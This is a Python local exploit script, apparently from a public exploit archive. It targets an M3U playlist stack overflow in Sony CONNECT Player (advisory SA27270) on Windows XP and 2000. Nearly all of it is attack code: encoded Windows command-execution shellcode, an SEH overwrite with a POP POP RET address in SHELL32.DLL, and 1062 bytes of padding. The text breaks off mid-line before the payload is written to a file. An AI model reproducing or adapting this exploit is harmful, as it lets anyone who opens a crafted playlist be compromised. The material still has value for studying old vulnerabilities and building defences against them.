#!/usr/bin/python #Secunia Advisory : SA27270 #Release Date : 2007-10-29 # Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow (m3u File) Local Exploit # Bug discovered by Parvez Anwar # Exploit Written by TaMBaRuS (tambarus@gmail.com) # Tested on: Sony CONNECT Player (SonicStage) 4.x installed on Windows XP SP2/ 2k SP4 # Shellcode: Windows Execute Command # Eductional Purposes only ;) ## from struct import pack m3u = ("#EXTM3U\nhttp://%s") shellcode = ( "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x44\x4e\x33\x4b\x48\x4e\x57" "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x34\x4a\x31\x4b\x58" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x38" "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54" "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x48" "\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x52\x46\x50\x43\x4c\x41\x53" "\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47" "\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a" "\x4b\x48\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b" "\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x35\x41\x43" "\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57" "\x42\x35\x4a\x56\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x56\x4a\x49" "\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x36") NEXT_SEH_RECORD = 0x909006EB # JMP SHORT + 0x06 SE_HANDLER = 0x7CEA53D2 # POP POP RET (SHELL32.DLL/2k SP4) buf = "PLAY ME" buf += "\x3e" * 1062 buf += pack("